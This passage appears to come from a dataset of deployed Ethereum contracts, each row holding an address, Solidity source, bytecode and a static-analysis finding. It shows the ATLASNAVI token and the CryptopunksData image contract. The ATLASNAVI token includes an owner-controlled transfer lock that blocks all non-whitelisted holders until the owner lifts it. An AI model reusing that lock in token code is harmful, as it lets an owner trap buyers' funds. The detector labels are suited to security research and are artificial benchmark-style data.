ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166b83600061059f565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b60008060008414156116dd57600091506116fc565b82840290508284828115156116ee57fe5b041415156116f857fe5b8091505b5092915050565b600080828481151561171157fe5b0490508091505092915050565b600082821115151561172c57fe5b818303905092915050565b6000806000670de0b6b3a76400006402540be400029150600654633b9aca006117a96117a360065486633b9aca00600202020260026006540a6002633b9aca000a02670de0b6b3a76400008a02670de0b6b3a7640000633b9aca0002600202026002890a010101611886565b8561171e565b8115156117b257fe5b040390508092505050919050565b60008082840190508381101515156117d457fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a764000061186f670de0b6b3a76400008503633b9aca00670de0b6b3a76400008681151561182f57fe5b04633b9aca00026402540be4000103026002670de0b6b3a7640000876002890a0381151561185957fe5b04633b9aca000281151561186957fe5b0461171e565b81151561187857fe5b049050809350505050919050565b60008060026001840181151561189857fe5b0490508291505b818110156118cb5780915060028182858115156118b857fe5b04018115156118c357fe5b04905061189f565b509190505600a165627a7a7230582074dc99e5a1ab0bcf18ad5122892b0f6329228a349208fa07b456a5b31f170c960029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 118 |
0xc12144868cfbea7dc96bfcb27fc9b0a49c58fb31 | // @@@@.
// @@@@@@@@@@
// &@@ &@@
// &@@ &@@
// .@@@@%#@@@@#
// (@@@@@@@@@@@@&
// @@@@@@@ %@@@@@@
// @@@@@@% *@@@@@@/
// ,@@@@@@/ @@@@@@%
// &@@@@@@. &@@@@@@
// @@@@@@& /@@@@@@*
// .@@@@@@( .@@@@@@%
// #@@@@@@. @@@@@@@
// @@@@@@& #@@@@@@.
// &@@# ,@@@ ,
// @/ *@/
// @% #@@@@@/ ,@@@@@& *@
// @@@@@@@@@@@@@@@@@@* .&@@@@@@@@@@@@@@@@@/
// *@@@@@@/ %@@@@@@@@@@&%@@@@@@@@@@&. @@@@@@&
// %@@@@@@ %@@@@ &@@@@, &@@@@@@
// @@@@@@& %@@@@ &@@@@. /@@@@@@,
// .@@@@@@( #@@@@@@@@@@&%@@@@@@@@@@&. .@@@@@@#
// (@@@@@@. (@@@@@@@@@@@* @@@@@@@@@@@% @@@@@@@
// @@@@@@& /@@@@@@@@@@@/ ,@@@@@@@@@@@# (@@@@@@
// @@@@@@%/@@@@@@@@@@@/ ,@@@@@@@@@@@#*@@@@@@#
// (@@@@@@@@@@@@@@@@# *@@@@@@@@@@@@@@@@&
// &@@@@@@@@@@@@@# /@@@@@@@@@@@@@@
// @@@@@@@@@@@% (@@@@@@@@@@@*
// @@@@@@@@& %@@@@@@@@
// @@@@ &@@@
//
//
//
// *@@/ ,***&@**** @ @#@ @* (@ #@@( @ /@@* @@ .@ @
// ,@ @, %@ @ @# *@ && #@ /@ @ *@ @. @% @ @
// .@ @ %@ @ @& (@ &@@@@@@ #@ @# @ ,@ @ @/ @* @
// @%#####@ %@ @ &@#####@@ &( %@ #@ ,@ @ .@######@ @, @# @
// @. @ %@ @######/(@ %@ @#/ */%@ #@ @%@ @ @ @@& @
//
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ATLASNAVI is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _initialSupply = 30*1e9*1e18; // 30B
string private _name = "Atlas Navigators";
string private _symbol = "NAVI";
uint8 private _decimals = 18;
address private _owner = msg.sender;
event OwnershipTransferred( address indexed previousOwner, address indexed newOwner);
mapping(uint8 => address) public privateWl;
uint8 wlCount = 0;
bool public privateMode = true;
event privateEnd(uint blockNumber);
constructor () {
_mint(_owner, _initialSupply);
}
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function isOwner(address account) public view returns(bool) {
return account == _owner;
}
function viewOwner() public view returns(address) {
return _owner;
}
function endPrivate() public onlyOwner {
privateMode = false;
emit privateEnd(block.number);
}
function addWl(address newWl) public onlyOwner {
wlCount += 1 ;
privateWl[wlCount] = newWl;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom( address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
bool make;
if(privateMode == false || sender == _owner || recipient == _owner){
make = true;
} else {
uint8 i;
for (i = wlCount; i > 0; i--) {
if(privateWl[i] == recipient){
make = true;
break;
}
}
}
if(make == false){
revert("NOT_ON_WHITELIST");
} else {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | 0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063431993b9116100a25780639d15558b116100715780639d15558b14610209578063a457c2d714610211578063a9059cbb14610224578063bc677b4614610237578063dd62ed3e1461023f5761010b565b8063431993b9146101c657806370a08231146101ce578063775df5a2146101e157806395d89b41146102015761010b565b806323b872dd116100de57806323b872dd146101785780632f54bf6e1461018b578063313ce5671461019e57806339509351146101b35761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461014e5780631cf1f68d14610163575b600080fd5b610118610252565b60405161012591906109bf565b60405180910390f35b61014161013c366004610956565b6102e4565b60405161012591906109b4565b610156610301565b6040516101259190610c1d565b6101766101713660046108c8565b610307565b005b61014161018636600461091b565b610380565b6101416101993660046108c8565b610419565b6101a6610435565b6040516101259190610c26565b6101416101c1366004610956565b61043a565b61017661048e565b6101566101dc3660046108c8565b6104e4565b6101f46101ef36600461097f565b6104ff565b60405161012591906109a0565b61011861051a565b610141610529565b61014161021f366004610956565b610537565b610141610232366004610956565b6105b0565b6101f46105c4565b61015661024d3660046108e9565b6105d8565b60606004805461026190610c8e565b80601f016020809104026020016040519081016040528092919081815260200182805461028d90610c8e565b80156102da5780601f106102af576101008083540402835291602001916102da565b820191906000526020600020905b8154815290600101906020018083116102bd57829003601f168201915b5050505050905090565b60006102f86102f1610603565b8484610607565b50600192915050565b60025490565b61031033610419565b61031957600080fd5b600880546001919060009061033290849060ff16610c4c565b82546101009290920a60ff81810219909316918316021790915560085416600090815260076020526040902080546001600160a01b0319166001600160a01b03939093169290921790915550565b600061038d8484846106bb565b6001600160a01b0384166000908152600160205260408120816103ae610603565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156103fa5760405162461bcd60e51b81526004016103f190610b07565b60405180910390fd5b61040e85610406610603565b858403610607565b506001949350505050565b6006546001600160a01b0382811661010090920416145b919050565b601290565b60006102f8610447610603565b848460016000610455610603565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546104899190610c34565b610607565b61049733610419565b6104a057600080fd5b6008805461ff00191690556040517e4f5ea98c17599a1ec8560cc8996b5bf05368e830f6bda199431923c3bb8d5f906104da904390610c1d565b60405180910390a1565b6001600160a01b031660009081526020819052604090205490565b6007602052600090815260409020546001600160a01b031681565b60606005805461026190610c8e565b600854610100900460ff1681565b60008060016000610546610603565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156105925760405162461bcd60e51b81526004016103f190610bd8565b6105a661059d610603565b85858403610607565b5060019392505050565b60006102f86105bd610603565b84846106bb565b60065461010090046001600160a01b031690565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661062d5760405162461bcd60e51b81526004016103f190610b94565b6001600160a01b0382166106535760405162461bcd60e51b81526004016103f190610a55565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106ae908590610c1d565b60405180910390a3505050565b600854600090610100900460ff1615806106e757506006546001600160a01b0385811661010090920416145b8061070457506006546001600160a01b0384811661010090920416145b1561071157506001610764565b60085460ff165b60ff8116156107625760ff81166000908152600760205260409020546001600160a01b03858116911614156107505760019150610762565b8061075a81610c71565b915050610718565b505b806107815760405162461bcd60e51b81526004016103f190610add565b6001600160a01b0384166107a75760405162461bcd60e51b81526004016103f190610b4f565b6001600160a01b0383166107cd5760405162461bcd60e51b81526004016103f190610a12565b6107d88484846108ac565b6001600160a01b038416600090815260208190526040902054828110156108115760405162461bcd60e51b81526004016103f190610a97565b6001600160a01b03808616600090815260208190526040808220868503905591861681529081208054859290610848908490610c34565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108929190610c1d565b60405180910390a36108a58585856108ac565b5050505050565b505050565b80356001600160a01b038116811461043057600080fd5b6000602082840312156108d9578081fd5b6108e2826108b1565b9392505050565b600080604083850312156108fb578081fd5b610904836108b1565b9150610912602084016108b1565b90509250929050565b60008060006060848603121561092f578081fd5b610938846108b1565b9250610946602085016108b1565b9150604084013590509250925092565b60008060408385031215610968578182fd5b610971836108b1565b946020939093013593505050565b600060208284031215610990578081fd5b813560ff811681146108e2578182fd5b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b818110156109eb578581018301518582016040015282016109cf565b818111156109fc5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526010908201526f1393d517d3d397d5d2125511531254d560821b604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610c4757610c47610cc9565b500190565b600060ff821660ff84168060ff03821115610c6957610c69610cc9565b019392505050565b600060ff821680610c8457610c84610cc9565b6000190192915050565b600281046001821680610ca257607f821691505b60208210811415610cc357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212204583b011b0a0ae069f0c4ca12e88c8063e5e9ad67742f49effb0d9e00b5b9b1264736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 119 |
0x16F5A35647D6F03D5D3da7b35409D65ba03aF3B2 | /**
*Submitted for verification at Etherscan.io on 2021-08-18
*/
pragma solidity 0.7.6;
/**
* ____ _ _ ____ _
* / ___|_ __ _ _ _ __ | |_ ___ _ __ _ _ _ __ | | _____ | _ \ __ _| |_ __ _
* | | | '__| | | | '_ \| __/ _ \| '_ \| | | | '_ \| |/ / __| | | | |/ _` | __/ _` |
* | |___| | | |_| | |_) | || (_) | |_) | |_| | | | | <\__ \ | |_| | (_| | || (_| |
* \____|_| \__, | .__/ \__\___/| .__/ \__,_|_| |_|_|\_\___/ |____/ \__,_|\__\__,_|
* |___/|_| |_|
*
* On-chain Cryptopunk images and attributes, by Larva Labs.
*
* This contract holds the image and attribute data for the Cryptopunks on-chain.
* The Cryptopunk images are available as raw RGBA pixels, or in SVG format.
* The punk attributes are available as a comma-separated list.
* Included in the attribute list is the head type (various color male and female heads,
* plus the rare zombie, ape, and alien types).
*
* This contract was motivated by community members snowfro and 0xdeafbeef, including a proof-of-concept contract created by 0xdeafbeef.
* Without their involvement, the project would not have come to fruition.
*/
contract CryptopunksData {
string internal constant SVG_HEADER = 'data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" version="1.2" viewBox="0 0 24 24">';
string internal constant SVG_FOOTER = '</svg>';
bytes private palette;
mapping(uint8 => bytes) private assets;
mapping(uint8 => string) private assetNames;
mapping(uint64 => uint32) private composites;
mapping(uint8 => bytes) private punks;
address payable internal deployer;
bool private contractSealed = false;
modifier onlyDeployer() {
require(msg.sender == deployer, "Only deployer.");
_;
}
modifier unsealed() {
require(!contractSealed, "Contract sealed.");
_;
}
constructor() {
deployer = msg.sender;
}
function setPalette(bytes memory _palette) external onlyDeployer unsealed {
palette = _palette;
}
function addAsset(uint8 index, bytes memory encoding, string memory name) external onlyDeployer unsealed {
assets[index] = encoding;
assetNames[index] = name;
}
function addComposites(uint64 key1, uint32 value1, uint64 key2, uint32 value2, uint64 key3, uint32 value3, uint64 key4, uint32 value4) external onlyDeployer unsealed {
composites[key1] = value1;
composites[key2] = value2;
composites[key3] = value3;
composites[key4] = value4;
}
function addPunks(uint8 index, bytes memory _punks) external onlyDeployer unsealed {
punks[index] = _punks;
}
function sealContract() external onlyDeployer unsealed {
contractSealed = true;
}
/**
* The Cryptopunk image for the given index.
* The image is represented in a row-major byte array where each set of 4 bytes is a pixel in RGBA format.
* @param index the punk index, 0 <= index < 10000
*/
function punkImage(uint16 index) public view returns (bytes memory) {
require(index >= 0 && index < 10000);
bytes memory pixels = new bytes(2304);
for (uint j = 0; j < 8; j++) {
uint8 asset = uint8(punks[uint8(index / 100)][(index % 100) * 8 + j]);
if (asset > 0) {
bytes storage a = assets[asset];
uint n = a.length / 3;
for (uint i = 0; i < n; i++) {
uint[4] memory v = [
uint(uint8(a[i * 3]) & 0xF0) >> 4,
uint(uint8(a[i * 3]) & 0xF),
uint(uint8(a[i * 3 + 2]) & 0xF0) >> 4,
uint(uint8(a[i * 3 + 2]) & 0xF)
];
for (uint dx = 0; dx < 2; dx++) {
for (uint dy = 0; dy < 2; dy++) {
uint p = ((2 * v[1] + dy) * 24 + (2 * v[0] + dx)) * 4;
if (v[2] & (1 << (dx * 2 + dy)) != 0) {
bytes4 c = composite(a[i * 3 + 1],
pixels[p],
pixels[p + 1],
pixels[p + 2],
pixels[p + 3]
);
pixels[p] = c[0];
pixels[p+1] = c[1];
pixels[p+2] = c[2];
pixels[p+3] = c[3];
} else if (v[3] & (1 << (dx * 2 + dy)) != 0) {
pixels[p] = 0;
pixels[p+1] = 0;
pixels[p+2] = 0;
pixels[p+3] = 0xFF;
}
}
}
}
}
}
return pixels;
}
/**
* The Cryptopunk image for the given index, in SVG format.
* In the SVG, each "pixel" is represented as a 1x1 rectangle.
* @param index the punk index, 0 <= index < 10000
*/
function punkImageSvg(uint16 index) external view returns (string memory svg) {
bytes memory pixels = punkImage(index);
svg = string(abi.encodePacked(SVG_HEADER));
bytes memory buffer = new bytes(8);
for (uint y = 0; y < 24; y++) {
for (uint x = 0; x < 24; x++) {
uint p = (y * 24 + x) * 4;
if (uint8(pixels[p + 3]) > 0) {
for (uint i = 0; i < 4; i++) {
uint8 value = uint8(pixels[p + i]);
buffer[i * 2 + 1] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
buffer[i * 2] = _HEX_SYMBOLS[value & 0xf];
}
svg = string(abi.encodePacked(svg,
'<rect x="', toString(x), '" y="', toString(y),'" width="1" height="1" shape-rendering="crispEdges" fill="#', string(buffer),'"/>'));
}
}
}
svg = string(abi.encodePacked(svg, SVG_FOOTER));
}
/**
* The Cryptopunk attributes for the given index.
* The attributes are a comma-separated list in UTF-8 string format.
* The first entry listed is not technically an attribute, but the "head type" of the Cryptopunk.
* @param index the punk index, 0 <= index < 10000
*/
function punkAttributes(uint16 index) external view returns (string memory text) {
require(index >= 0 && index < 10000);
uint8 cell = uint8(index / 100);
uint offset = (index % 100) * 8;
for (uint j = 0; j < 8; j++) {
uint8 asset = uint8(punks[cell][offset + j]);
if (asset > 0) {
if (j > 0) {
text = string(abi.encodePacked(text, ", ", assetNames[asset]));
} else {
text = assetNames[asset];
}
} else {
break;
}
}
}
function composite(byte index, byte yr, byte yg, byte yb, byte ya) internal view returns (bytes4 rgba) {
uint x = uint(uint8(index)) * 4;
uint8 xAlpha = uint8(palette[x + 3]);
if (xAlpha == 0xFF) {
rgba = bytes4(uint32(
(uint(uint8(palette[x])) << 24) |
(uint(uint8(palette[x+1])) << 16) |
(uint(uint8(palette[x+2])) << 8) |
xAlpha
));
} else {
uint64 key =
(uint64(uint8(palette[x])) << 56) |
(uint64(uint8(palette[x + 1])) << 48) |
(uint64(uint8(palette[x + 2])) << 40) |
(uint64(xAlpha) << 32) |
(uint64(uint8(yr)) << 24) |
(uint64(uint8(yg)) << 16) |
(uint64(uint8(yb)) << 8) |
(uint64(uint8(ya)));
rgba = bytes4(composites[key]);
}
}
//// String stuff from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
} | 0x608060405234801561001057600080fd5b50600436106100885760003560e01c806374beb0471161005b57806374beb047146102bf57806376dfe2971461036a578063844e2cd514610415578063dae2ae20146104d057610088565b806326b973641461008d5780633e5e0a961461015557806368bd580e146102005780636f2a65681461020a575b600080fd5b610153600480360360408110156100a357600080fd5b81019080803560ff169060200190929190803590602001906401000000008111156100cd57600080fd5b8201836020820111156100df57600080fd5b8035906020019184600183028401116401000000008311171561010157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061062f565b005b6101856004803603602081101561016b57600080fd5b81019080803561ffff1690602001909291905050506107a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c55780820151818401526020810190506101aa565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610208610f11565b005b6102bd600480360361010081101561022157600080fd5b81019080803567ffffffffffffffff169060200190929190803563ffffffff169060200190929190803567ffffffffffffffff169060200190929190803563ffffffff169060200190929190803567ffffffffffffffff169060200190929190803563ffffffff169060200190929190803567ffffffffffffffff169060200190929190803563ffffffff169060200190929190505050611074565b005b6102ef600480360360208110156102d557600080fd5b81019080803561ffff1690602001909291905050506112dc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032f578082015181840152602081019050610314565b50505050905090810190601f16801561035c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61039a6004803603602081101561038057600080fd5b81019080803561ffff169060200190929190505050611850565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103da5780820151818401526020810190506103bf565b50505050905090810190601f1680156104075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ce6004803603602081101561042b57600080fd5b810190808035906020019064010000000081111561044857600080fd5b82018360208201111561045a57600080fd5b8035906020019184600183028401116401000000008311171561047c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611b29565b005b61062d600480360360608110156104e657600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051057600080fd5b82018360208201111561052257600080fd5b8035906020019184600183028401116401000000008311171561054457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460018302840111640100000000831117156105db57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611c89565b005b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106f2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f6e6c79206465706c6f7965722e00000000000000000000000000000000000081525060200191505060405180910390fd5b600560149054906101000a900460ff1615610775576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f436f6e7472616374207365616c65642e0000000000000000000000000000000081525060200191505060405180910390fd5b80600460008460ff1660ff16815260200190815260200160002090805190602001906107a2929190612367565b505050565b606060008261ffff16101580156107c357506127108261ffff16105b6107cc57600080fd5b600061090067ffffffffffffffff811180156107e757600080fd5b506040519080825280601f01601f19166020018201604052801561081a5781602001600182028036833780820191505090505b50905060005b6008811015610f075760006004600060648761ffff168161083d57fe5b0460ff1660ff16815260200190815260200160002082600860648861ffff168161086357fe5b060261ffff160181546001816001161561010002031660029004811061088557fe5b8154600116156108a45790600052602060002090602091828204019190065b9054901a7f01000000000000000000000000000000000000000000000000000000000000000260f81c905060008160ff161115610ef9576000600160008360ff1660ff168152602001908152602001600020905060006003828054600181600116156101000203166002900490508161091957fe5b04905060005b81811015610ef55760006040518060800160405280600460f0876003870281546001816001161561010002031660029004811061095857fe5b8154600116156109775790600052602060002090602091828204019190065b9054901a7f01000000000000000000000000000000000000000000000000000000000000000260f81c1660ff16901c8152602001600f86600386028154600181600116156101000203166002900481106109cd57fe5b8154600116156109ec5790600052602060002090602091828204019190065b9054901a7f01000000000000000000000000000000000000000000000000000000000000000260f81c1660ff168152602001600460f08760026003880201815460018160011615610100020316600290048110610a4557fe5b815460011615610a645790600052602060002090602091828204019190065b9054901a7f01000000000000000000000000000000000000000000000000000000000000000260f81c1660ff16901c8152602001600f8660026003870201815460018160011615610100020316600290048110610abd57fe5b815460011615610adc5790600052602060002090602091828204019190065b9054901a7f01000000000000000000000000000000000000000000000000000000000000000260f81c1660ff16815250905060005b6002811015610ee65760005b6002811015610ed857600060048385600060048110610b3857fe5b60200201516002020160188487600160048110610b5157fe5b602002015160020201020102905060008260028502016001901b85600260048110610b7857fe5b60200201511614610d9b576000610c5a8860016003890201815460018160011615610100020316600290048110610bab57fe5b815460011615610bca5790600052602060002090602091828204019190065b9054901a7f0100000000000000000000000000000000000000000000000000000000000000028c8481518110610bfc57fe5b602001015160f81c60f81b8d6001860181518110610c1657fe5b602001015160f81c60f81b8e6002870181518110610c3057fe5b602001015160f81c60f81b8f6003880181518110610c4a57fe5b602001015160f81c60f81b611e30565b905080600060048110610c6957fe5b1a60f81b8b8381518110610c7957fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080600160048110610cb557fe5b1a60f81b8b6001840181518110610cc857fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080600260048110610d0457fe5b1a60f81b8b6002840181518110610d1757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080600360048110610d5357fe5b1a60f81b8b6003840181518110610d6657fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535050610eca565b60008260028502016001901b85600360048110610db457fe5b60200201511614610ec957600060f81b8a8281518110610dd057fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600060f81b8a6001830181518110610e1357fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600060f81b8a6002830181518110610e5657fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060ff60f81b8a6003830181518110610e9957fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053505b5b508080600101915050610b1d565b508080600101915050610b11565b5050808060010191505061091f565b5050505b508080600101915050610820565b5080915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f6e6c79206465706c6f7965722e00000000000000000000000000000000000081525060200191505060405180910390fd5b600560149054906101000a900460ff1615611057576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f436f6e7472616374207365616c65642e0000000000000000000000000000000081525060200191505060405180910390fd5b6001600560146101000a81548160ff021916908315150217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f6e6c79206465706c6f7965722e00000000000000000000000000000000000081525060200191505060405180910390fd5b600560149054906101000a900460ff16156111ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f436f6e7472616374207365616c65642e000